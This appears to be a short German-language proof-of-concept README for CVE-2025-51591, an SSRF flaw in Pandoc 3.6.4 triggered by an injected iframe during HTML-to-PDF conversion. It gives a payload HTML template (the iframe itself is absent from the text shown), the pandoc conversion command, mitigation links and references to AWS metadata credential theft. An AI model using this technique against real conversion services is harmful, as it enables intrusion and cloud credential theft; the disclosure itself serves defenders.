CVE-2025-51591 Pandoc SSRF POC

Eine Server-Side Request Forgery (SSRF) in JGM Pandoc v3.6.4 ermöglicht es Angreifern, Zugriff auf die gesamte Infrastruktur zu erlangen und diese zu kompromittieren, indem sie ein manipuliertes iframe einschleusen.

Pandoc installieren

https://pandoc.org/installing.html

Beispiel für einen Payload

⚠️ Ersetzen Sie die iframe-URL durch Ihre eigene OAST-URL. ⚠️

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CVE-2025-51591 Proof Of Concept</title>
</head>

<body>
    <h1>
        CVE-2025-51591 Proof Of Concept
    </h1>
    
</body>

</html>

Payload mit Pandoc in PDF konvertieren

pandoc payload.html -o output1.pdf

Strategien zur Schadensbegrenzung

https://github.com/jgm/pandoc/issues/10682#issuecomment-2718343529
https://pandoc.org/MANUAL.html#a-note-on-security

Referenzen

Hackers Exploit Pandoc CVE-2025-51591 to Target AWS IMDS and Steal EC2 IAM Credentials
IMDS Abused: Hunting Rare Behaviors to Uncover Exploits
SSRF When Generating PDFs from User-Controlled HTML

CVE-2025-51591-Pandoc-SSRF-POC

Beliebteste